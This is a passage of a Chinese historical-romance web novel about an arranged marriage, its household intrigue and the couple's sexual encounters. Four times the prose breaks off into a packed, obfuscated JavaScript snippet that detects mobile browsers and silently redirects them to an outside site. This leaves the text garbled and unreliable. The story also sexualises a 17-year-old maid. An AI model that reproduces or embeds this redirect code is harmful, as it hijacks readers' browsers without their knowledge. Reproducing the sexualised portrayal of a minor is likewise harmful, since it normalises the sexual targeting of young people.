桌上已经备好了饭菜，卢嬷嬷见她回来，便上前来说：“先头去问过三少爷了，说是仍有官务处理，晚食不必等他了。” 许革音点了点头，胃口却不大好，只草草用了些羹汤。 备水沐浴的时候，暮云用手探了探水温，退出去之前问道：“晚间要多烧些水吗？” 许革音闻言反应了片刻，意识到她在问什么的时候摇了摇头，略有疲态，“不必准备了，他今日，”说到此处略微停了停，“近日都不会过来。” - “真这么说了？”李嬷嬷眼睛斜瞟上来，手里的动作都停了。 “千真万确！”暮云声音一时没收住，抬头四处瞧了眼，这才继续道：“昨夜里三少爷果真没来。” “今晨我可瞧见了，柏呈正差人修缮偏院，还说偏院一直荒废着，请三少奶奶落名呢。”暮云将裁下来的锦缎叠起来，放到大漆盘上。 李嬷嬷略瞥了眼托盘，又伸手拖了一卷花色不一样的过来，“新婚夜里不是要了回水吗？” “可不是，盥洗房里地到今儿都还潮着呢。”暮云又拿了剪刀裁布。 哪有男人刚开了荤第二日又遁入空门的？这三少爷可真真是个怪胎！ 李嬷嬷脑子里琢磨了半晌，最后临走前才终于理出来一些头绪，“那许氏小门小户，瞧着也是个木讷的，大约是床帏之内扫了人的兴了！” 暮云正将大漆盘搬起来，闻言瞪大了眼睛。 “像你这般的，胸脯大，又知情趣，是男人最喜欢的。从前四少爷不就瞧上你了？”李嬷嬷又将她上下扫一眼，很是满意点点头。 暮云曾住在李嬷嬷屋里的时候，也是瞧见过她洗澡的，身上真是无一处不美，丰腴妩媚。那会子若不是四少爷才收了两个通房，颇有些不知天地为何物，想来大奶奶还是愿意让暮云去他房里伺候的。 李嬷嬷言辞露骨，暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739945|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云到底还不通人事，脸颊羞红。“表姑！” 李嬷嬷见她如此，嗔道：“你当我不知道你偷偷看的那避火图。” 转而又正色道：“你如今十七了，该尽早考虑。今时非比往日，你已在三房，又有如此貌色，若许氏容不下你胡乱许配了，你哭都来不及！” 被府里少爷收房是最好的。有李嬷嬷这层关系，等个几年，也能赐个妾室的位分，也是能得仆妇伺候的，可比嫁给家生子亲手洗衣做饭伺候男人来得好。 暮云脸上的红潮渐渐褪下去，眉目间亦是拢上忧色。 - 逢财政秋审，祝秉青只休沐一日便归位了，连着好几日都是早出晚归。 新婚第四日夜里，及至书房跟前才见柏呈站在门边，眼睛已经闭上了。 祝秉青目不斜视，颓山上前把门打开，柏呈自然惊醒了。低声请了声罪，跟在后面进去把门带上了。 进屋就开始汇报：“偏院修缮好了，三少奶奶赐了字叫露白斋。片玉斋的寝房也重新收拾过，爷今晚便可用了。” 祝秉青刚解了外袍，任由颓山接过去，也没开口，意思是没有别的事要汇报就退下。 柏呈便接着道：“大房送来的卢嬷嬷并两个丫鬟曾想进书房打扫，叫阿册拦住了，只是阿册到底分身乏术，有的时候顾不到这处，不知是否要新挑几个得力的进来？” “想看便看，不必拦着。”祝秉青一向谨慎，打从八年前三爷留了功勋过世，余两房一直是压着不想他冒头，凡事又都要插一手，他总在夜里悄悄出府温书，这才自己挣个功名，在府里向来是不留痕迹的。 “另三少奶奶来了几次，想见您一面。”柏呈斟酌几番，最终还是问出来，“是否要留个口信儿？” 祝秉青坐下来，将宣纸抹平，压上镇纸，淡声道：“不必理会。” 柏呈领了命退下，再过一柱香的功夫，颓山隐进夜色中不知去向何方，祝秉青才重新披衣进了寝房。 阿册原在寝房门口等着，刚跟了两步，听人撂下来一句“不必服侍”，又止住了脚步。 屋里只掌了一盏烛，但祝秉青是披着月色过来，视物已经很清晰，在床外五步远，就见床上已经隆起来一团。 其实已经好些日子没见过。若不是柏呈提起，他甚至可能不大能记得自己刚娶了妻。这位他刚刚说过“不必理会”的夫人此刻正团在他的被子里。 祝秉青也只顿一息，将手里端过来的蜡烛放到床头的烛台上，随后掀开被子，俯身下去。 铺面的暖香叫他顿了一瞬，随即后撤，冷声唤人：“阿册。” “扔出去。” 烛光在黑暗中勾出一个颀长端正的身影，隐秘，又如夜色般冷沉。 女子惊慌的求饶声从指缝里露出来有些含糊，随着拉扯渐远。耽搁了些功夫，阿册再进屋时瞧见原先的床褥已被卷着丢到了地上。 阿册冷汗几乎立时下来了，将床榻重新整理好，又再去盥洗室探了探水温，这才在祝秉青面前跪下了。 桌前坐着的黑影没有动弹，便也是种凌迟。 好半晌，“滚出去，领罚。” 室内再次恢复寂静，祝秉青却于微凉的秋夜里躁郁。 他低头看了一眼，眉头皱得有些狠。 8. 念奴娇 次日一早，柏呈领了人过来。 今日反常的有些闷热，云也厚，太阳驱散不开，只余几缕金光泄出，在潮闷的空气里，把将谢的桂花烤出更浓的香味。 在柴房关了一夜，担惊受怕，暮云此刻脸色已经很不好，平日里总嫣红的嘴唇有些暗淡，眼下都是青黑，显然是怕极了。 许革音微有诧异，柏呈却是兀自将前因后果交代清楚了，随后问道：三少爷的意思是后宅的事情交由三少奶奶全权处理。” 暮云跪在地上，闻言倒是不抖了。 许革音有些踌躇。原先在吴县的时候，家里是很干净的，许士济没有那些个姨娘妾室，府里人又少，她虽也帮着记账打理中馈，到底不能相提并论。 暮云是大奶奶送来的，若是祝秉青昨夜将暮云用了，许革音便做主收个房即可——将身边的丫头送去夫君身边固宠不是什么罕见的事。但听柏呈言辞间，大约是没碰过的，反倒像是惹了他的不快。 这下子倒不太好办。到底是大房主母送来的，太过苛责便有蔑视大奶奶的意思。 许革音正思忖着，李嬷嬷却不请自来，自顾踏进了院门。见地上正跪着的暮云，掩唇惊呼一声，这才疾步走过来道：“原是奉带奶奶的命给三少奶奶送些血燕过来，不巧撞见，不知这丫头是犯了什么事儿了？” 旁边卢嬷嬷跟上来，三两句话把事情说清了，暮云抬头低声唤了声“表姑”，神色虽可怜，也已经安定很多。 李嬷嬷是一早听人报信儿，特地找了个借口过来的，一进东园，一早候着的卢嬷嬷便迎上去将人拉住，一路上已经将事情交代全了。 李嬷嬷听完则是心惊肉跳。她确实盼望着暮云爬上祝秉青的床，一来是真心为她考虑，婚事有个着落，免得岁数大了被主子草草指个粗鄙仆人。二来大奶奶是很有意往三房塞人的，届时真收了房，大奶奶多半也会推上一把，给她挣个姨娘的名分来，那时便也是正儿八经的主子了，自然也少不了自己的好处。 只是谁料前些时日刚提点了这丫头，竟迫不及待就爬了床！要知道三少爷和这许氏新婚燕尔的，还未过一旬呢！ 即便许氏木讷些，总归是新鲜。至少也该等个一两个月，吃够了陈菜，才有心思打野味。 李嬷嬷此刻恨铁不成钢，又真怕这许氏狗急跳墙真把她这表外甥女随意打杀了，自己先两步跨过去，两个耳光是立时扇了下去。“你这小贱蹄子！枉费大奶奶往日里将你带在身边教导栽培，竟做出这般伤风败俗的事情来！” 这两巴掌是真下了狠劲，“啪啪”两声连暮云都愣住了，两颊迅速红肿。 卢嬷嬷连忙上前拦着，“这成何体统！此事自有三少奶奶处置！” 李嬷嬷“嗬嗬”喘着粗气，像是气得不轻，闻言像是才清醒过来，告罪一声“老奴僭越”，又道：“三少奶奶恕罪，这丫头原是老奴表弟家的姑娘，入府八年，承恩得大奶奶栽培过几年，竟不想做出这般有伤风化的事情！老奴已是气急，这才没忍住教训。” 暮云刚刚被甩得瘫坐在地，呜呜哭着，李嬷嬷看都没看一眼，道：“三少奶奶只管责打，便是打死了、发卖了都是这丫头罪有应得！回头老奴一五一十向大奶奶交代。” 这连着几句话，都有意无意提起大奶奶。 许革音见李嬷嬷演这出戏，心里其实还是不愿意让她罚得太重，故意拿大奶奶压她。 只是若说到责打发卖，原先李嬷嬷将人送来的时候连身契都没有带来，彼时许革音只想着尽快进大房的门，一时没想到这处，如今暮云到底不算是三房的下人，由不得她随意处置。 于是许革音迟疑了片刻，道：“暮云到底是大奶奶送来的，如今却是再不敢用了。但也实在不敢越俎代庖，便遣回去，凭大奶奶发落罢。” 李嬷嬷闻言几不可察松了口气，紧绷的身子都卸下力，回道：“既如此，老奴这便将人带走。” 事情到这里实在不算漂亮。许革音视线在旁边李嬷嬷留下的血燕上停一眼，又看着拽走暮云的方向，皱了皱眉。 - 祝秉青今日下值照旧已是子时。 阿册一瘸一拐迎出来，等他走到前头，才尾随着道：“三奶奶在房里等着。” 从酉时到现在，阿册劝过几次，她今日却是不肯走，回回温声道：“没事，我等等他。”笑得也端谨。 到底是主子，她不肯走，阿册不好把人强送回去。 所幸祝秉青不曾因此恼火，摆了摆手，自己进了亮着的寝房。 许革音坐在外间桌旁，眼睛已经闭上了，一只手伸出来支着脑袋，宽大的袖子垂下去，层层叠叠堆在手肘，露出一截透白的小臂。 门在身后被轻轻带起，烛火一晃，许革音却没有醒转的意思，脸上睫毛的阴翳也只是随烛火晃了一阵。 祝秉青在门口停住，视线于她身上逡巡。 为官之道，澹乎自持。祝秉青一向谨饬克己，立业都是放在首位，及近及冠并不沾染女色，却从不觉得艰辛。而今却几次三番叫眼前人勾起些欲念来。 她只是在桌边坐着，侧边摆了个烛台，昏黄的烛光在她裸露在外的皮肤上匀覆一层，边缘柔光环抱，竟像是透光一般。 祝秉青将拇指上的扳指转了一圈，又施力按住，意识到自己见她的时候大多数是在晚上。 他骤然抬脚，三步走到桌前，俯身将人抱起来，眼神下放，始终锁在她身上。见她惊呼一声，眼睛瞬间撑大，瞧清人了，微微松口气，轻轻唤了声：“让尘……” 被放到床上，又拘谨起来，腿曲着，手臂后撑。 祝秉青却没有立刻俯下去，反而直身站在床榻之外，见她惊惶抬头，床架将她围在一个狭窄的框里。 ——这样才对。 那个叫暮云的婢女爬上他的床时身上穿了薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739946|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纱，听到他冰冷的声音才发觉不妙，忙不迭跪下来了。 祝秉青冷眼睥睨，瞧见暮云因为害怕而颤抖的心口，像是水波，一圈圈荡开。抬起双臂想抓他衣摆的时候，胳膊也似饱满的藕节，丰腴得有些腻人。 后来片玉斋重归寂静，他仰躺在床上，在黑暗中隐约辨认垂下床幔的线条，早换了新的，薄如蝉翼。 若是新婚夜的红绸床幔，便略显厚重，交缠的呼吸渐热，余温便牢牢锁在床帏之内。 而其上的新妇，欺霜赛雪，像冬日暖阳下的腊梅，娇怯而透明。扣住手腕的时候，交叠的腕骨也似翡翠，柔润且清冷。手指陷进腿肉里却又像裹着雪的花瓣，几乎下一刻就要被他的手心给烫化。 祝秉青以为新婚夜的留宿，只是困住许氏的手段。哪怕不知节制来了三回，也只是初尝后理所当然的不知餍足——他知道克欲，却也知道过犹不及。 只是睁眼到天亮、发觉自己竟然已经将那夜的每个细节、甚至是她偶尔朦胧的泣音会响在什么动作之后都在脑子里重演一遍，祝秉青才接受了三回并不足以餍足。 这不是个好现象，却也不难解决。 正如此刻，解开衣带，衣衫底下藏着的温润体温瞬间点燃了他的掌心。 扳指碰到她心口的时候，冰得她瑟缩了一下，眼里有些水晕，烛焰在其中跳跃，被颤动的泪水卷得破碎，像是屋外散落一地的桂花。 再冷淡的人在这时候都端不住平稳的呼吸，不同频率的急促到最后都一窒，祝秉青往后稍退一步。 许革音眼眶里的泪水终于滑落的时候，小腹也潮湿。 她缓了几口气，等那股哽咽终于压下去的时候，才交代道：“暮云从前在大奶奶跟前得脸，身契又在大房，我不好做主，只能将她遣送回去了。” 祝秉青回府之后其实已经听柏呈讲过一回。 全须全尾从三房回去了，又是李嬷嬷的亲戚，到了大房也未必会受什么重惩。官场里讲上任三把火，后宅里的新妇也要立威。许氏小门小户出来，此次惩处不痛不痒，往后这些丫头说不准怎么放肆。 事教人才长记性，祝秉青没有插手的打算，将全身的重量压在她身上，埋首在她的颈窝，也不开口。 耳畔的呼吸声都压得细细的，像是喘气都有些费力。 她显然是攒了很多话想问，见他没说话，又提起别的事：“渌里的税案，有头绪了吗？” 没完没了的。祝秉青闭了闭眼睛，道：“今日刚有捷报，圣人有大赦天下的意思。届时即便人不放出来，判刑也至少暂缓半年。” “半年很够了。”他强调。 祝秉青手臂自她身体两侧撑起来，因为用力而紧绷的肌肉和鼓凸的青筋似乎迸开了热气，连脉搏的跳动都放大到空气里。 他又去磨她的嘴唇，直到湿红滚热，才肉贴着肉道：“这张嘴今夜只许用来唤我的名字。” 9. 雁南飞 待到桂花谢尽，晚菊傲霜，应天府也正式步入十月。 春树一早便拉起帘帐挂到两边，俯身过去唤道：“少奶奶，三少爷下了朝，正往这边过来了。” 昨夜里祝秉青宿在露白斋，一直闹到三更天才歇下，此刻许革音还不太清醒，手里攥着被角，含糊不清道：“过来干什么？今日没去比部司么？” 此刻身上只穿了件主腰，光裸的胳膊暴露在冷空气里有些凉，很快又缩回去了，侧身朝里，只露出来半个肩膀。 春树见她肩头一个青紫的牙印，瞧着有些可怖。正要再劝一劝，余光里却露出一双云头履，往上是银丝绣线勾的海崖纹的圆领袍。不是朝服，显然是在片玉斋换了衣服过来的。 春树刚转头，问安还没出口，便见祝秉青已经挥手，于是噤声福了福退下了。 室里静下来，祝秉青在床边站了片刻，见葱白的手指伸出水红的被衾，往上提了提，覆上肩头，恨不能将倾泻的青丝都挽进被窝里。 “起来，该烧寒衣了。” 被子里的人倏然一抖，像是还有些怕他，慢吞吞坐起来，却是侧曲着腿，面向床里。 烧寒衣并不需要兴师动众，往年在平江的时候，都是父亲一个人去办的。许革音觉得他实在是在磋磨自己，夜里不让睡足，白日里又要早起。难免有些怨气，不太想搭理他，“春树呢？” “我就在这里，喊她做什么？” 许革音哪里敢使唤他，默了片刻，用被子将自己裹紧，两只脚贴着水红的缎面蹭出来，还没落到地上，先一步被人截停。 他的外袍像是沾了晨露，贴上来的时候叫她一个瑟缩。 手也应该是刚用凉水洗过，被他握住的踝骨附近泛起鸡皮疙瘩。 “挡什么？”抓住踝骨的两手往前一推，复又扯开，许革音放下胳膊撑住自己的时候被子也落下来。 祝秉青沿着小腿一路看上去，像是检查。又拨开她披在肩头的头发，拇指在那牙印瘀痕上摩挲几圈，复又一按，果不其然听到一声惊呼。 许革音虽不能训斥，却也是有胆子瞪一瞪的。 岂料这一眼也被祝秉青逮个正着。 手是收回去了，声线也一如既往淡漠平稳：“今夜我会过来。” 许革音猝然抬头，祝秉青神色古井无波，垂目下视，不似玩笑。 ——祝秉青不是个贪欲的人，即使他每次过来都不易餍足，总弄到三更半夜，但实际上除去新婚夜，成婚的一月里，他也就来过两回。 于是许革音问道：“初一十五都会过来么？” 这是祖制。 祝秉青喉咙里淡淡压出来一个“嗯”，见她松下来一口气，慢条斯理从袖子里拿出来一个小瓷罐，塞进她手里，竟有心思逗弄：“乖些，今晚就不会受很多苦。” 才松下来的一口气又提上去，简直是兜头淋了盆冷水。 祝秉青欣赏片刻她的僵硬，很是好心情，后撤一步，转身从架子上扯下婢女原先给她备好的里衣丢过去，转身往外间走，“快些。” 许革音将被衣衫盖住的手伸出来，微微舒展，小瓷罐盖子揭开，有股草药味，大约是活血消肿的膏药。 春树又走到跟前，约是得了祝秉青的命令，重新进来服侍。见她多看了药膏几眼，上前伸手道：“奴婢给三少奶奶上药罢。” 待整理好再出来，祝秉青一盏茶都快要见底。 烧寒衣没有什么固定的时辰，从巳时到申时均无不可，只是要先祭一回。 祠堂里已有人来拜过，青烟袅袅，有些熏眼睛。 将列祖列宗都拜了一遍，又在角落里两个挨着的牌匾前各插了三炷香。 正起身的时候，二奶奶也到了，身边还带着那位外甥女秀郁。许革音也曾见过的。 互相寒暄了几句，二奶奶又道：“可好些时日没见到你了，秀郁还念叨呢。” 许革音便往她身侧看一眼，两人视线对上，抿了个笑出来，这才转头回话：“二奶奶莫怪，实在是初来乍到琐事繁多，不曾得空。” 祝秉青早前点了个头，便径直出去了，二奶奶不敢多留人，怕叫那个阎罗久等，便笑道：“马上又是下元节了，叫秀郁陪你出去走动走动，总在家里多没意思？” 这实在不好推拒，许革音点头应了，出来见祝秉青仍是一副淡淡的冷脸，看不出来情绪。听到脚步声跟上来，便先抬脚往外走，一句话也没说。 随后又上马车，摇摇晃晃到了一处田庄，复行一里，路窄只容二人并肩而过，这才停下，改换步行。 到一处小丘的背坡，阿册将放在箱笼里的纸扎寒衣拿出来，先是一件彩的，再是一件白的。许革音这才想起来，祝秉青确实曾说过身有热孝。 原先定的夫家并不是三房，往常是从不探听的，这会子才有心要聊一聊：“先考妣怎么没有葬在墓园里？” 祝氏是专门有一处墓地的。 “独在田庄岂不清静。” 扎纸引火极快，火势倏然窜高壮大，又有风吹，灼热的余浪扑面，推开薄雾，温热而令人贪恋，要把人吞进去一般。 许革音侧首盯着，有些担心被风鼓动的火焰会舔到他的头发。 祝秉青似有所感，回头看过来，整个人被笼在橙黄的火光里，平白增添几分温和。于是许革音脱口道：“难得来一趟，等会也逛一逛罢。” 说出口自己却漏了一拍心跳，手指微微收紧，像是握住了未消的残雾，只留些许潮湿。 “嗯。” 淡淡的一声，融在雾里。 - 九月下旬田里刚撒了小麦种子，此刻只冒出些嫩绿的芽，还不大显眼，远远看过去仍是一片土褐色。 许革音今日最大的错觉便是觉得祝秉青看起来温良好说话了许多，竟冲动到邀他同游。 田埂上不足二人并行，祝秉青跟在后面闭口不语，许革音在前面就显得局促。偶尔回头问他往哪个方向走，他便只抛回来一句“都可”，和此刻田里的麦苗一样寥落。 东边走到头便是几排屋舍，庄子里的农户自住的，隐约有悠远的吆喝声，却不像是从屋舍里来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739947|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原先跟在后面的管事颇有眼色，立刻走上前道：“隔壁连着绩县，今日寒衣节，正办集市呢。” 许革音九月初才进应天府，重阳节后入了三房，别说集市，便是重阳糕也不曾有胃口吃一块。如今得了准信，又有余地喘息，倒也是很乐见异乡的集市。 三丈宽的马路两边摆满了摊位，中间留出来供人通行的地方实在不多，还有几个原先卖菜的，此刻正收摊，卷着筐子往外挤。 不知从哪里窜出来一个孩童，眼见着要撞到许革音身上，又被后面一个婶子扯住了后领拎回去，婶子匆匆道一句“不好意思”便揪着小孩子的耳朵拉到一边，那鬼哭狼嚎一飞冲天。 这可比幽森的左丞府好太多了。许革音笑出来，正要往前走，喉间一紧，这才发现自己的后领也被人扯住了。 那人皱眉训诫：“莽撞。”说罢将她拉到里面去。 许革音轻轻撇嘴，又眨了两下眼睛算作回应，便转身过去。 胭脂水粉是要看的，来时带的不多。零嘴小吃也是要买的，各处总不相同。 只是手里的糖画咬了一口，与平江也无甚区别。可要说完全相同罢，却也似乎不是。 正看着手里的糖画闷头往前走，骤然被潮湿的热气扑了一脸，原是旁边豆羹摊子刚揭了锅盖。 许革音停住脚步看了两眼，转头看祝秉青。视线抬上去，那双总蒙着水雾的眼睛便撑得更圆。“今日还不曾喝豆羹。” 寒衣节，吃豆羹，御寒冷，往年一早家里就会备上的。 祝秉青走进临时搭起来的铺面里，袍角一撩，稳稳当当坐下来了。见许革音又睁圆那双带着碎星的眼睛盯着他，提醒道：“在外面不要这样看着我。” 许革音还困惑于自己究竟用了什么眼神，又听他问：“怎的了？” “只是惊奇你竟真的愿意进来这种摊子。” 祝秉青默然一瞬，哂道：“你还真将我当纨绔了。” 只是他现在锦服加身，整个人神色松散，往那一坐，不说纨绔，也至少得是个养尊处优、眼高于顶的世家公子，万万不可能屈尊的。 “我自然不是……”话断在此处，两人中间插进来一个小二，将两大海碗的豆羹呈上来。 小二那身灰布衣裳从两人之间撤走的时候，祝秉青听到旁边低低呢喃一句：“——真的是红豆的。” 红豆已经煮得透烂爆皮，与糯米糅合在一起，上面还撒了桂花，甜香扑面而来。 寒衣节豆羹向来如此。祝秉青看一眼，视线又转到旁边许革音身上，她已挽了妇人髻。“在平江，我们都是用的绿豆。” 清清淡淡的绿豆羹，连汤水都是透的，有时候里面还会加薄荷叶，喝完再吸一口气，便是从喉咙凉到胃里去了。 倏然一阵风过，扑面来的却是锅炉上蒸腾的热气。 小二拉住飞起来的招牌帘子重新用绳子缠了好几圈，祝秉青食指将扳指一搓，想到她如今住的院子，前不久刚做了牌匾挂上去，是“露白”。 ——那是“露从今夜白”。 10. 梦呓漏 出了豆羹摊，又沿着街一路逛下去。 祝秉青知道许革音一向是个很娴静的性子，哪怕先头摊子上碰见了什么有意思的玩意儿，也只是眼睛睁大一些，照旧是极端庄的，一举一动不急不躁。 只是此刻有些安静得过分，连眉眼都淡淡的。 红豆的甜腻还化在唇齿，祝秉青觑她一眼，只是淡声提醒道：“府里还有家宴，不宜再耽搁。” 许革音点点头，脚步就此旋回。 刚出街口，天空飘起了雨丝。 斜风细雨，薄薄一层，更像是水雾，蒙到她发丝上的时候还是一粒一粒极微小的水珠，于是远远看去就是白濛濛一片，毛茸茸的。 祝秉青落后半步，视线不自觉在她发顶停了一会儿，看见裹了天光的白色细水珠，随着她走动的颠簸轻轻碎掉，一个接一个，濡湿一片，乌黑的头发上便现出流光。 雨势有渐大的趋势，后面响起略显急促的脚步声，在细石子路上踩出沙沙的声响。阿册撑着伞，手举得老高，往祝秉青头上去，“方才没瞧见卖伞的摊子，只能匆匆借来一把，少爷少奶奶将就先用用罢。” 才给祝秉青遮了半边肩膀，伞却是被他自行接过去了，用靠近她那边的手撑着，跨步上去，补足了之前落后的距离，并肩而行。 走出去不远，石子儿路又是断了，衔接着微润的泥，人踩上去有些松软。祝秉青很明显察觉到身边的脚步更慢了一些。 低头看下去的时候，许革音也正低着头，极小心地盯着自己的鞋尖，裙摆都提起来一些。她此刻垂下的睫毛上也蒙了一层水汽，大约是身量比之祝秉青实在单薄了些，斜雨仍是密密地吹到她身上。 祝秉青突然将伞换了一边，腾出来的一只手从她脑后绕过去，摸上她的头发。掌心里潮湿，手背也有细密的雨扑过来。 也不知道这样弱的身板能不能经得住一番风吹雨淋。 只是许革音不设防，骤然被他摸过来的手推得往前踉跄一步，心道即便是嫌她走得慢，也不该如此粗鲁。抬头看过去，解释道：“裁的这身新裙子长了些。” 淡青色的裙摆下面已经沾上了湿泥，提起来的时候连里面的白色里裤也灰了一片，更别提最底下的绣花鞋。 伞柄被递下来，“拿着。” 许革音不明就里，松开一边的裙摆，抬手握住伞柄，旋即被人抱起来，一下子惊得说不出话，伞都险些掉下去。 “再晚些，就该宵禁了。” 这是嫌她磨蹭呢。 许革音一手搂着人脖子，另一手撑着伞，安安静静的，却不想再说话了。 - 再到左丞府里，先回北园换身衣裳，便到正堂里共用晚食。 此刻雨已停了，回廊檐角仍时有水滴落下来，敲响一片玲珑水声。 厅里已经开炉，外面帘子都安上了。守在门口的下人远远瞧见有人来，先一步将帘子打起来，笑闹声陡然从中漏出来。 进了屋旁边有丫鬟上来解了披风，大奶奶最先瞧见他们两个，抬手招一招，“侄儿侄媳妇，来这边坐。” 刑部司终日繁忙，连带着祝秉青归家迟迟，是没有带许革音去诸位长辈房里拜见的。许革音也曾自己去过大房二房，却只见到两位奶奶，旁人却是一概不认识的，此刻见了一圈生脸，正不知该如何称呼，大奶奶便上前道：“难得一大家子聚在一起，许多人想你也不曾见过，今日便认个全。” 许革音立刻如蒙大赦，借大奶奶引见，跟着一个个地叫了人，连几个小姐少爷，也都互相认识了一番。 只是最后到边上一个总角孩童时，大奶奶却道：“这个想必你是知道的。” 那孩子端坐在椅子上，脚尖都无法触地，此刻偏头咳嗽起来，显然已是刻意压着，声音已经很轻。待咳完了，才下了椅子，唤了一声“嫂嫂”。十分恭谨，却也冷淡。 许革音哪里见过这孩子，正犹疑该不该问，面前的人又往她身后唤了声“兄长”，随后耳边一句淡声：“祝秉毅，行七。” 祝秉青说得一板一眼，许革音却倏然想起来自己刚接手三房账簿的时候向阿册打探过，他的那个胞弟，在几个兄弟姐妹里就是排行第七。 旁边大奶奶视线从祝秉毅身上又转到她脸上，惊疑道：“你竟不知？” 许革音无端脸热，低声应道：“确实还未曾见过。” 大奶奶默了一默，随后笑道：“秉毅这孩子身子弱，是不大出来走动。” 眼见着这处气氛不尴不尬，门帘再次打开，祝邈走进来，屋里的人各论各的行了礼，这才跟在后面进了宴厅坐下了。 世家的昌盛总呈现于各处。除去妾室和婴童，左丞府里也有三四十个正儿八经的主子，即便是一个大圆桌也是坐不下的，厅里是早分别安排了稍小一些的馔案，摆在两边。 中间空出来一块地，一半是丝竹管弦，另一半正烧炭炙一只全羊。 酒是大奶奶秋天新酿的桂花酒，还是从深井里刚拿出来的。不求酣畅，只图个冷沁，在这暖房里别有一番滋味。 许革音还记挂着祝秉毅，酒喝到嘴里也没滋没味的，余光总不受控制地瞥下去。 他们夫妻两个共用一个馔案，祝秉毅一个人坐在他们下首，唯他一人将自己的小厮带进来了。 最后他同柏呈说了两句话，后者又微弯着腰递话过来这边，兄弟两个互相点了个头，他才领着柏呈先行离席。 宴至夜深才散，再过了回廊，穿过中庭，踏进北园的月洞门，两道重叠的脚步声轻轻敲破此刻的寂静，许革音倏然道：“秉毅是染了风寒吗？脸色瞧着有些苍白。” 祝秉青则如实道：“母亲生他的时候早产，带了先天的不足。” 许革音像是有些意外，“啊”了一声，“早产？” 祝秉青觉得她可能有些醉了，平日里并不爱穷根究底。偏头瞧她一眼，见她肩膀提起来，两只手捏在腹前，仰着头看他。“嗯。七个半月，收到了父亲的死讯，悲伤过度。” 许革音安静了片刻。 “我不知道这些。” 她肩膀垮下来，仪态有些乱了。只是几杯桂花酒而已。 “我是不是没有尽责。”她这句用了陈述。 祝秉青不太想搭理一个醉鬼，只是她语气里实在有些沮丧。“何出此言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739948|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不了解你。”她脑袋微微垂下去，“没有帮你照顾好弟弟。” “自然有人照顾他。” “不一样的。”她用力摇摇头，“长嫂为母。” 她的脚步也有些乱，像是踩进了一个水洼里，溅出来水声。 “太急功近利不好。我做得不好。”她说她自己，只想着救人，却忘记求恩也得报答。 “也没有在老太太跟前尽孝。”老太太如今还是那副模样，清醒的时间不多。“你们把我接进来冲喜的……” 似乎都要哭出来，喉咙里有水声。 “我虽是冲喜来的，你不喜欢我，也不要最喜欢别人，”话头又一下子变了。 换平日里，她是决计说不出来这样的话的，或许是心里实在有些愧疚也有些害怕。 她把头抬起来，眼睛湿润，在黑夜里水亮亮的，“你用得到我的，便告诉我，我竭尽全力。” 越来越无厘头。刚刚瞧着还清醒些，此刻却是将那点酒都烧上了脑子，人都有些飘忽了。 “现下就有一个，”话才出口，她便迫不及待追问。祝秉青瞧她一眼，“夜里把灯点着。” 许革音下意识摇头，“不行的。” 眼见人愈发没边儿，祝秉青也只是随口敷衍，此刻见到前面迎上来的阿册，下巴往许革音那边抬了抬，吩咐道：“送去露白斋。”说罢便抬脚往另一边走。 腰间受力，挂着的祥云白玉禁步不知道什么时候被人攥住，此刻拉抻，崩成直直一条。“今日初一的。” 他早上才说了，初一十五会留宿露白斋。 祝秉青皱眉，回身靠近一步，想把禁步解下来，哪知许革音已是将自身重量都拴在这细细的一条线上，此刻重心不稳，往后仰着就要栽倒。 阿册面色一变，手都伸出去一点，祝秉青却已经先一步将人拦腰截住，抱进怀里。 阿册便松一口气，阿谀道：“少爷好身手。” 祝秉青却是问：“那几个丫鬟都没来？” “只在露白斋里等着了。”阿册自然是知道他问的是大奶奶送来的那几个，如今显然已经有些嚣张，不大恭敬。犹疑再道：“爷，可要略施小惩？” 祝秉青视线落下去，看见怀里的人手臂耷拉着垂下，头也往后倒着，脖子拱出来一个惊人的弧度，只能瞧见个下巴。“再等等。” 及至将人抱进里间，才放到榻上，连鞋子都没脱，许革音却不配合起来。 也不吵闹，只是一个劲儿往被子里缩。 